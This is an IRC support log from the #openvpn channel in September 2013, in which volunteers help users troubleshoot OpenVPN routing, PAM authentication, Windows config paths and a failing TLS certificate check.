18:27 < SupaYoshi> and in case I do not have to bridge, I should just be using the option: echo 1 > /proc/sys/net/ipv4/ip_forward
18:28 < SupaYoshi> Ah i see, ;) So if I enable it, I can just access my samba shares?
18:29 < SupaYoshi> How would I access them? Can I just connect to local IPs for example a 192.168.2.x hosted internal website?
18:29 < SupaYoshi> But Im so confused because Im connected with the VPN to like 10.0.0.x
18:29 < SupaYoshi> haha :D
18:31 -!- sauce [~sauce@unaffiliated/sauce] has quit [Quit: sauce]
18:31 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
18:32 -!- sauce [~sauce@unaffiliated/sauce] has quit [Excess Flood]
18:43 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 246 seconds]
18:45 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
18:46 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Ping timeout: 245 seconds]
18:52 -!- raidz is now known as raidz_away
18:53 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
19:10 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Update]
19:34 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
19:51 -!- tharkun [~0@201.157.22.45] has joined #openvpn
20:01 -!- tharkun [~0@201.157.22.45] has quit [Changing host]
20:01 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
20:02 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Remote host closed the connection]
20:09 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
20:18 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 256 seconds]
20:25 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
20:28 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
20:33 -!- dimitry7 [~antonello@187.174.147.162] has quit [Quit: Leaving]
20:41 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
20:42 -!- SupaYoshi [SupaYoshi@ip4da5d319.direct-adsl.nl] has quit []
20:47 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
21:21 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:55 -!- aero224 [~Adium@dsl-vlan426-66-18-218-182.nucleus.com] has quit [Ping timeout: 248 seconds]
22:57 -!- aero224 [~Adium@24.114.37.155] has joined #openvpn
23:00 -!- aero2241 [~Adium@24.114.37.10] has joined #openvpn
23:02 -!- aero224 [~Adium@24.114.37.155] has quit [Ping timeout: 245 seconds]
23:10 -!- aero2241 [~Adium@24.114.37.10] has quit [Ping timeout: 264 seconds]
23:11 -!- aero224 [~Adium@dsl-vlan426-66-18-218-182.nucleus.com] has joined #openvpn
23:25 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has joined #openvpn
--- Day changed Thu Sep 05 2013
00:26 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:29 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
00:31 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 268 seconds]
01:01 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
01:03 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 240 seconds]
01:06 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn
01:06 -!- mode/#openvpn [+o krzie] by ChanServ
01:07 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds]
01:07 -!- krzie is now known as krzee
01:29 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
01:30 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
01:30 -!- mode/#openvpn [+o krzee] by ChanServ
01:51 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
01:54 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
01:54 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
02:00 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
02:18 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
02:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
02:52 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:56 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Quit: Leaving]
03:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:31 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
03:32 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
03:34 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 256 seconds]
04:32 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
05:00 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:03 -!- jacked [~ix81ofes@faui0sr1.informatik.uni-erlangen.de] has joined #openvpn
05:14 < kjs> Hi guys, weird problem... When I SCP a file over OpenVPN it stalls after about 4/5Mb is transfered?
05:14 -!- monsbeat [~mons@2.47.71.205] has joined #openvpn
05:14 < kjs> I am using UDP
05:15 < monsbeat> Hi
05:15 < kjs> hi...
05:15 < monsbeat> I installed autentication plugin
05:16 < monsbeat> But now i authenticate thought Linux os users
05:16 < monsbeat> Why?
05:16 < kjs> You are not making any sense.
05:16 < monsbeat> There is not a dedicated userlist?
05:17 < kjs> you're system users will be able to auth.
05:17 < kjs> your*
05:17 < monsbeat> I used PAM plugin
05:17 < kjs> yes
05:18 < kjs> then the users in /etc/passwd will be able to auth
05:18 < monsbeat> Yes but not about vpn server
05:18 < kjs> what?
05:18 < monsbeat> I already said you that I prefer tu get a dedicated userlist
05:19 < monsbeat> Separated from system users
05:19 < kjs> you want to use LDAP or something >? then set it up.
05:19 < monsbeat> What different does LDAP from PAM?
05:20 < kjs> google it
05:20 < monsbeat> With PAM the only way is to use system users?
05:20 < kjs> thats what PAM is for yes.
05:22 < monsbeat> Ok, thank you
05:22 < monsbeat> Bye
05:23 -!- monsbeat [~mons@2.47.71.205] has quit [Quit: monsbeat]
05:55 < kjs> anyone alive?
05:55 < Eugene> Nope.
05:59 < kjs> :(
06:05 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:09 -!- aero224 [~Adium@dsl-vlan426-66-18-218-182.nucleus.com] has quit [Quit: Leaving.]
06:12 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Read error: Connection reset by peer]
06:14 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
06:30 -!- HyperGlide [~HyperGlid@222.211.124.117] has joined #openvpn
06:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
06:38 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
07:27 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 268 seconds]
07:30 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Read error: Connection reset by peer]
07:30 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
07:34 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:36 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
07:41 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 260 seconds]
07:43 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
07:48 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Read error: Connection reset by peer]
07:48 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
07:49 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
07:49 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
07:50 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
07:53 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 260 seconds]
07:53 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
07:55 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
07:55 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 245 seconds]
07:57 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
07:57 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 240 seconds]
08:00 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
08:01 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 268 seconds]
08:02 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 256 seconds]
08:03 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
08:03 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
08:03 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
08:05 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 264 seconds]
08:06 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
08:08 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 268 seconds]
08:09 -!- RichiH [~richih@freenode/staff/richih] has joined #openvpn
08:09 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
08:10 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
08:11 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 256 seconds]
08:11  * RichiH is pretty sure there was a way to have a server with a) tun interface b) a shared /24 for all clients c) config-defined ip
08:12 < RichiH> i.e. not server 1.2.3.0 255.255.255.0 with openvpn choosing 1.2.3.1, but so that i can tell it to use 1.2.3.254
08:13 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
08:15 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 264 seconds]
08:15 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 240 seconds]
08:17 < RichiH> ecrist: where did cron2 go?
08:17 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 240 seconds]
08:18 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
08:18 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
08:22 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
08:22 < rob0> See the --server macro in the man page. You can break up the macro if you want to assign your own IP address for some reason.
08:22 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
08:23 < kjs> I have an issue, anyone got any guesses? Large file being copied over OpenVPN stalls the connection after about 4/5 Mb has been transfered.
08:23 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 256 seconds]
08:25 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
08:27 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 264 seconds]
08:27 < RichiH> rob0: that's it
08:27 < RichiH> thanks
08:29 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
08:29 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
08:30 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 245 seconds]
08:33 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
08:34 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 268 seconds]
08:37 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 240 seconds]
08:39 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
08:39 <+pekster> kjs: "stalls the connection" ? OpenVPN simply sets up a virtual network link to delivery packets; if you're using --ping/--ping-restart a failure to deliver packets between peers will be detected
08:39 -!- JackWinter1 is now known as JackWinter
08:39 <+pekster> Do you get timeouts? What do your openvpn logs say about the situaion? Have you run a packet capture (tcpdump) during the event?
08:39 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 240 seconds]
08:40 <@ecrist> RichiH: he's around, just not connected
08:40 <@ecrist> I think he went on vacation
08:40 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
08:41 <@ecrist> pekster: I made you a moderator on the forums.  we'd talked about it a long time ago, i never got around to it
08:43 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
08:43 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 244 seconds]
08:44 < RichiH> ecrist: tsk, how dare he
08:47 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 260 seconds]
08:47 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
08:47 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
08:48 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
08:50 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
08:51 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:52 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 276 seconds]
08:53 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
08:54 <+pekster> ecrist: Great. I think I've only ever used the 'report' feature once on a spam post. The mis-categorized support stuff in the "website support" forum is annoying, but I don't really care if people can't take 10 seconds to read where they're posting (though it makes me personally less likely to care ;)
08:55 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 264 seconds]
08:55 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
08:56 <+pekster> Looks like phpBB does support the 'move' feature, although IIRC that keeps a "[Moved]" tag around in the old forum for a bit (forever?)
08:56 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
08:57 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
08:57 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 245 seconds]
09:01 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 256 seconds]
09:01 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
09:02 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
09:04 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
09:06 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 276 seconds]
09:07 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
09:09 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 264 seconds]
09:09 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
09:11 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
09:12 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 256 seconds]
09:14 -!- aero224 [~Adium@24.114.38.252] has joined #openvpn
09:14 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
09:14 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
09:15 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 245 seconds]
09:21 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
09:28 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
09:35 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 260 seconds]
09:36 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
09:40 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
09:41 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
09:47 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
09:55 -!- verdoc [~quassel@198.71.82.248] has joined #openvpn
10:00 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 260 seconds]
10:20 -!- raidz_away is now known as raidz
10:24 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
10:28 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
10:30 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-mdkaddlqjdezfbvf] has quit [Read error: Connection reset by peer]
10:37 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 256 seconds]
10:37 <@ecrist> pekster: you can choose not to leave the shadow topic in the old forum
10:38 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
10:38 <+pekster> Oh, nifty. That's probably more useful for the AS stuff that shouldn't be anywhere in the community forms to start with
10:39 <+pekster> On a realted note, it sounds like the community stuff will eventually be split to its own site, including the forums? Or are "all" the forums (AS included) moving?
10:47 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
10:47 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
10:47 <@ecrist> all the forums is moving to a new box
10:48 <@ecrist> openvpn tech finances the servers, and they're migrating to AWS
10:53 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-mctpbqzsxbjjbfrl] has joined #openvpn
11:01 <+pekster> Ah, gotcha
11:01 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 264 seconds]
11:01 <+pekster> Just hoping for an eventual fix to the community stuff being tied into the "Joomla" junk that f.eg. puts the AS downloads "first" when browsing the community page
11:09 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
11:12 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
11:13 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
11:17 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
11:18 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
11:18 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 276 seconds]
11:21 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:27 -!- aero224 [~Adium@24.114.38.252] has quit [Ping timeout: 260 seconds]
11:37 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
11:42 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 276 seconds]
11:47 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
11:55 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 256 seconds]
11:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
11:57 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
11:58 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:58 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
12:00 -!- aero224 [~Adium@S0106000ffe84fd22.cg.shawcable.net] has joined #openvpn
12:02 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 260 seconds]
12:04 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
12:09 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 245 seconds]
12:10 -!- aero224 [~Adium@S0106000ffe84fd22.cg.shawcable.net] has quit [Ping timeout: 264 seconds]
12:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:17 -!- esde [~jdekker@unaffiliated/esde] has joined #openvpn
12:18 < esde> Good afternoon! I set up OpenVPN server on ubuntu 12.04 using this http://geeksandtweaks.com/wp/how-to-create-a-vpn-server-on-ubuntu-12-04/ tutorial for the most part. Once configured, the server was running great and the client was connected for about a week or more.
12:18 <@vpnHelper> Title: How to Create a VPN Server on Ubuntu 12.04 - GeeksAndTweaks (at geeksandtweaks.com)
12:19 < esde> Now, the system has rebooted and the client lost the connection. I'm trying to connect via pc now to see what's going on, and the status window remains blank as well as the log after a connection attempt
12:19 < esde> I'm very confused
12:22 < esde> Oh, and this happens Sep 5 12:43:16 	openvpn[43824]: Initialization Sequence Completed
12:22 < esde> Sep 5 12:43:34 	openvpn[43824]: event_wait : Interrupted system call (code=4)
12:29 <@ecrist> first, we don't read or support third-party how-tos
12:29 <@ecrist> see here:
12:29 <@ecrist> !goal
12:29 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
12:29 <@ecrist> !welcome
12:29 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
12:29 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
12:30 < esde> !logs
12:30 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
12:30 < esde> !logfile
12:30 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
12:30 < esde> where can I find server-side logs?
12:31 <+pekster> Same as !logfile says
12:31 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
12:31 < esde> I dont know what to make of that
12:32 <+pekster> It depends completely on your distro init; is it using --daemon? If so, #1 applies. Are you using --log or --log-append? If so, #1 explains that too. Are you using neither? Then #4 applies
12:32 < esde> I'm just trying to figure out why I can no longer connect to openvpn server after a reboot. Seems like a reboot shouldnt effect anything
12:32 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 260 seconds]
12:33 <@ecrist> obviously, it did
12:33 <+pekster> Without logs or configs, I can happily tell you "something isn't working as you expect"
12:33 <@ecrist> I'm guessing your OS isn't configured to start the server process automatically
12:34 < esde> it was, and openvpn showed as running. pfsense was able to reconnect but immediately after initialization sequence completed, it disconnected. On a desktop pc the status window is blank and the connection attempt isnt present in the logfile
12:35 <+pekster> verb 4 output is quite talkative and spews a lot of data. It will never be "blank" even at --verb 0
12:35 < esde> on the client?
12:35 <+pekster> Regardless, yes
12:36 <@ecrist> client or server
12:38 < esde> http://i.imgur.com/e9nKJp3.png
12:38 < esde> There's my config file, the status window, and the log. I don't understand it.
12:38 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
12:41 <+pekster> Perhaps you didn't run it with "admin" rights under UAC and it doesn't have permission to write to the logfile the GUI uses?
12:41 < esde> it was run as admin
12:41 <+pekster> What happens when you call openvpn.exe --config path\to\your\config.ovpn ?
12:41 < esde> 1 sec
12:43 < esde> options error for ca, cert, key, and tls-auth
12:43 < esde> no such file or directory
12:44 <+pekster> Use --cd or fully-qualified paths
12:44 < esde> use full paths within the ovpn file?
12:44 <+pekster> Yes; the !howto example covers this quite well (you did read the !howto link, yes?)
12:45 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
12:46 <+pekster> Hmm, or that one doesn't; maybe the sample in the windows distribution config dir does? I could swear a nice example was somewhere convenient
12:46 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-mctpbqzsxbjjbfrl] has quit [Quit: Leaving]
12:46 <+pekster> Anyway, escape backslashes, and quote names with paths in them
12:47 <@ecrist> you need to double your \ in windows paths
12:47 <+pekster> --cd "C:\\some\\where\\to your\\config\\path" for instance
12:47 < esde> ok, added fully-qualified paths (with double backslashes) and now an options error for tls-auth, fails with no such file or directory
12:47 <+pekster> Do you have the file specified?
12:47 <@ecrist> !configs
12:47 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
12:47 < esde> oops i put the quotation mark after the one
12:47 <+pekster> (and yes, a pastebin is better than a screenshot.) You probably wanted --tls-auth, not "--tls"
12:47 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
12:49 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:49 < esde> now i'm getting output, tls handshake is failing?
12:50 <+pekster> Crystal ball is out of service: try a pastebin of logs
12:50 < esde> http://pastebin.com/frB3CuQA
12:50 < esde> I like that one, may I use it?
12:51 <+pekster> The certificate your server presented failed to verify (further details at --verb 4) -- is the cert the server uses signed by the same CA the client is referencing?
12:51 <+pekster> Looks like not
12:52 <+pekster> !learn crystal Our crystal ball is out of service. Try explaining your !goal, a description of your problem, and relevant !configs and !logs. See also: !welcome.
12:52 <@vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value.
12:52 <+pekster> !learn crystal as Our crystal ball is out of service. Try explaining your !goal, a description of your problem, and relevant !configs and !logs. See also: !welcome.
12:52 <@vpnHelper> Joo got it.
12:52 < esde> Yes, I generated the certificates on the server and then used winscp to copy them over to the config directory
12:53 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
12:53 <+pekster> Try log output at --verb 4 to see exactly why the verify failed, but it's almost always caused by incorrect signing of the certs and/or wrong CA used
12:54 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:55 < esde> Got it! ns-cert-type client -> server
12:56 <@ecrist> so, it sounds as though you did a lot more than reboot, if your vpn was actually working before
12:58 < esde> I had the openvpn server running on the vps, and pfsense set up as the client. When the vps rebooted, the pfsense appliance lost its connection and wouldnt reconnect/stay connected.
12:58 <+pekster> certs don't just magically start failing (although they could appear to if they pass expiration dates.) There's always a very specific reason a TLS handshake is actively rejected
12:59 <+pekster> Outside of clock/expiration issues, this requires a chnage of some sort, or MITM interference
13:00 <@ecrist> openvpn or ssl configs don't change by magic
13:01 < esde> I understand. That's why I was trying to get this desktop set up as a client, to show that I could pull all the exisiting certs and create a config based off the server config without modifying anything on the server. And just a few moments ago I was successful
13:02 < esde> So if nothing has changed on the server, and I can connect from this desktop. Why wouldnt the client that was configured properly and working before, not work now?
13:02 <+pekster> If it's the one you pasted logs from earlier, it's doing exactly what I told you: failing to verify the server cert
13:04 <+pekster> If you "pulled the files from the sever" on client#2, yet client#1 is using the wrong CA, how is that a proper test? test what you care about fixing, not "some random box" that is evidently configured differently. Apples, meet oranges.
13:04 < esde> http://i.imgur.com/lczFRBR.png
